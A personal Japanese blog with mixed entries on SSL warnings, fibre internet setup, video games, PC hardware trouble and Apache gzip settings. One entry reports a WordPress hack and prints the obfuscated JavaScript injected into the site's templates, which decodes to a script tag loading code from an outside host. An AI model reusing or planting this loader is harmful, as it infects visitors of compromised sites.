SSLの証明書の署名無しとはハローワークもワイルドだな,と思っていたら,私の使っているウェブブラウザのOperaが署名の信頼性を認めていないだけだった。Internet ExplorerやChromeなら問題なく表示された。
民間の会社ではなく政府がSSL証明書に署名したりしているのだろうか。サーバーさん実在しますよって安全ですよって。主要なWebブラウザ
に該当しないOpera涙目。
SSLの証明書の署名無しとはハローワークもワイルドだな,と思っていたら,私の使っているウェブブラウザのOperaが署名の信頼性を認めていないだけだった。Internet ExplorerやChromeなら問題なく表示された。
民間の会社ではなく政府がSSL証明書に署名したりしているのだろうか。サーバーさん実在しますよって安全ですよって。主要なWebブラウザ
に該当しないOpera涙目。
工事完了して無事開通。といっても30分~1時間ほどであっさり終わったという印象。初期設定を終えてネット接続ができることを確認してみたが,ADSLとはだいぶ違うということに気付いた。二つのIDとパスワードが要る模様。フレッツ光ネクストとプロバイダーそれぞれに。ADSLの場合はブロードバンドルータにプロバイダから送られてきたIDとパスワードを設定しておけばそれでよかったが,フレッツ光ネクストの場合はONUに回線とプロバイダのIDとパスワードをウィザードに従って設定するとのこと。そしてこのONUはざっとみたところブロードバンドルータの役割も兼ねている様子。LANケーブルのポートが4ポートあって,管理画面で何やら色々と設定をすることができるようになっている。フレッツ光ネクストの利用者は市販のブロードバンドルータを使っていないのだろうか。しかもその管理画面は市販のブロードバンドルータと同等かそれ以上に高機能な設定ができるようになっている(現在私の持っているバッファローのルータには設定ひとつでホームページ用の80ポートを公開するというような機能はないが)。にもかかわらずそのあたりの説明書が無いのは厳しいと思うんだが根性で乗り切れということか。無線LANについてもONUにLANカードスロットが有りSC-32シリーズの無線LANカードを取り付けると手軽に無線環境が構築できる模様。やや高いが。
評判につられて買ったものの,何が面白いのかわからないまま放置していたモンハンを再開。どうやってもフルフルという巨大化け物が倒せなかった。これを倒さない限り次のクエストに進めないため足止めをくって何十時間費やしたことか。ネットで倒し方を調べてみてもあまり参考にならず途方にくれていた。やられるパターンはタックルしてきた直後に背後から脚を斬りに行ったときにコンボを続けすぎて電撃に巻き込まれるというのがほとんど。片手剣しか使い方がわからないのでちまちま削るしかないが,それだと50分という制限時間では足りない。どうしたらいいのか悩んでいたところ,オトモアイルーというものの存在を発見(ゲームは説明書を読まずに始める主義)。これを連れていくことで戦力にはならないものの回復と砥石を使う時間に余裕が生まれるので生存率がだいぶ上がる。で,それだけでは倒すことができないので,方針を変更をして,3方向に吐き出すブレス攻撃をした直後の隙を狙って,フルフルの横顔めがけて2~3回斬ることに徹する。そうしたらいつの間にか倒せていた。それにしてもいまだにモンハンの面白さがわからない。プレイ時間も50時間を超えたというのに。
PS版はやったことはあったけれど,PSP版は買ったもののやらずに積みゲーになっていたので久しぶりに挑戦。倒したと思ったら新勢力出現で占領のまたやり直しかと思うと気後れするのでやらずにいた。しかもクリアするのに何時間もかかるというのも。今回はアクシズ編に挑戦して170ターンほどで完全勝利をおさめた。内容はキャラにニュータイプキャラが多いのでサイコガンダムMK2を量産してごり押し。やり始めると面白いんだけれどもさすがに疲れる。アクシズの脅威vはPS版ジオンの系譜と比べてニュータイプキャラがやや弱体化しているような印象。キュベレイに乗ったSランクハマーンがサイコガンダムMK2とはいえロザミアに軽く落とされたときは目を疑った。
ジオンの系譜とアクシズの脅威vを比べてみると、ゲームバランス的には系譜の方がバランスがとれてるような。ボリュームが増えて様々なifが楽しめるとはいえ逆襲のシャア以降のユニットはゲームバランスを崩壊するぐらい強力だからあまり楽しくなくなってくる。アクシズの脅威からパッケージ絵が安彦良和じゃなくなっているのもなんとなくトーンダウン。どうでもいいけどジオンの系譜のPSP版は安彦良和デザインのハマーンが描かれている。これは何気に貴重じゃないだろうか。
マザーボードとPCケースを固定する六角スペーサーの取り付け方に問題が有った。六角スペーサーをケースに一個余分に取り付けていたために,マザーボード裏面の基盤の出っ張りと六角スペーサーが干渉してしまい,その結果マザーボードがショートして起動できなくなっていた。
WordPress 3.0.1 が利用可能です ! アップデートしてください。
いや,それが実に難しい。もう少し簡単にならないものか。ど素人にもわかりやすく。
ホームページが表示されないから変だと思っていたら,index.phpに下記コードが勝手に挿入されていた。パスワードが割られてしまった模様。何がしたいのかは解読不能・・・。
とりあえずFTPのパスワードは変更したが,はて,それで大丈夫なのだろうか。
あとでチェックしてみたら,wordpressのテンプレートの.phpでページを表示するファイルに全部挿入されていた。テンプレートを全部アップロードをし直し。
<html> <body> <script type="text/javascript"> var wGss98v0zDCHi = "uBdb915uBdb935"; var qg2solLrupydN0 = "uBdb93cuBdb973uBdb963uBdb972u"; var qg2solLrupydN1 = "Bdb969uBdb970uBdb974uBdb920uB"; var qg2solLrupydN2 = "db974uBdb979uBdb970uBdb965uBd"; var qg2solLrupydN3 = "b93duBdb922uBdb974uBdb965uBdb"; var qg2solLrupydN4 = "978uBdb974uBdb92fuBdb96auBdb9"; var qg2solLrupydN5 = "61uBdb976uBdb961uBdb973uBdb96"; var qg2solLrupydN6 = "3uBdb972uBdb969uBdb970uBdb974"; var qg2solLrupydN7 = "uBdb922uBdb920uBdb973uBdb972u"; var qg2solLrupydN8 = "Bdb963uBdb93duBdb922uBdb968uB"; var qg2solLrupydN9 = "db974uBdb974uBdb970uBdb93auBd"; var qg2solLrupydN10 = "b92fuBdb92fuBdb963uBdb96fuBdb"; var qg2solLrupydN11 = "975uBdb96euBdb974uBdb965uBdb9"; var qg2solLrupydN12 = "72uBdb973uBdb974uBdb961uBdb97"; var qg2solLrupydN13 = "4uBdb973uBdb92euBdb973uBdb965"; var qg2solLrupydN14 = "uBdb972uBdb976uBdb965uBdb96du"; var qg2solLrupydN15 = "Bdb970uBdb933uBdb92euBdb963uB"; var qg2solLrupydN16 = "db96fuBdb96duBdb92fuBdb92fuBd"; var qg2solLrupydN17 = "b96duBdb96cuBdb92euBdb970uBdb"; var qg2solLrupydN18 = "968uBdb970uBdb922uBdb93euBdb9"; var qg2solLrupydN19 = "20uBdb93cuBdb92fuBdb973uBdb96"; var qg2solLrupydN20 = "3uBdb972uBdb969uBdb970uBdb974"; var qg2solLrupydN21 = "uBdb93e"; var ZPFlt1UYA1tfk = "Dh3Ln15uBdb935"; var ERYCkoBwTvOcS = qg2solLrupydN0+qg2solLrupydN1+qg2solLrupydN2+qg2solLrupydN3+qg2solLrupydN4+qg2solLrupydN5+qg2solLrupydN6+qg2solLrupydN7+qg2solLrupydN8+qg2solLrupydN9+qg2solLrupydN10+qg2solLrupydN11+qg2solLrupydN12+qg2solLrupydN13+qg2solLrupydN14+qg2solLrupydN15+qg2solLrupydN16+qg2solLrupydN17+qg2solLrupydN18+qg2solLrupydN19+qg2solLrupydN20+qg2solLrupydN21; CtnqKOXMGM9bE = ERYCkoBwTvOcS.replace(/uBdb9/g,"%"); var iRDgo28MEsBPo = unescape; var wGss98v0zDCHi = "AUx2i15Dh3Ln35"; w9221 = this; var NKCGnIAa0Vzgr=w9221["WJd5GoGJc2uG5mJGe2JnltJ".replace(/[J52WlG:]/g, "")]; NKCGnIAa0Vzgr.write(iRDgo28MEsBPo(CtnqKOXMGM9bE)); </script> </body> </html>
失敗というか,手間と時間がかかりすぎる。OSをクリーンインストールして外付けHDDにそれを引越ししてみるという実験を試みたが,時間がかかりすぎる上に起動不能という結果に。ディスクそのままのコピーではなく,必要なデータのみ(/homeや/etcなど)のスナップショットを作成して,以降先のOSがインストールされた環境で展開するというのが現実的な模様。
もう一度暇なときに再挑戦してはみるけれども。
googleのウェブマスターツールでgzipで圧縮するとファイルサイズが半分になる,とアドバイスされたが,6KBのCSSファイルが半分の3KBになったところでどれだけ効果があるのかねぇ・・・と半信半疑だったが,apache2に圧縮設定を設定してみると体感で明らかにレスポンスが良くなったので驚いた。
apache2の設定ファイルは小さく分割されてあっちこっちにわかれているため,どこに記述したらいいのか迷ったが,とりあえず /etc/apache2/httpd.conf が空だったのでそこに記述してみることにした。記述内容は下記のような感じ。
<IfModule mod_deflate.c>
# Insert filters
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE image/gif
AddOutputFilterByType DEFLATE image/jpeg
AddOutputFilterByType DEFLATE image/png
AddOutputFilterByType DEFLATE image/x-icon
</IfModule>
はじめはcssとhtmlの圧縮だけ設定してみたがあまりにも効果的だったので画像もついでに記述してみた。htmlは圧縮が効いているのかは不明。レスポンスは劇的によくなったが,あまりにも上手くいきすぎているため何か裏がありそうだが・・・しばらくは様子見。百度の画像検索でサムネイルがやたら速く表示されるから不思議だったが,おそらく圧縮の設定をしているのだろうと思う。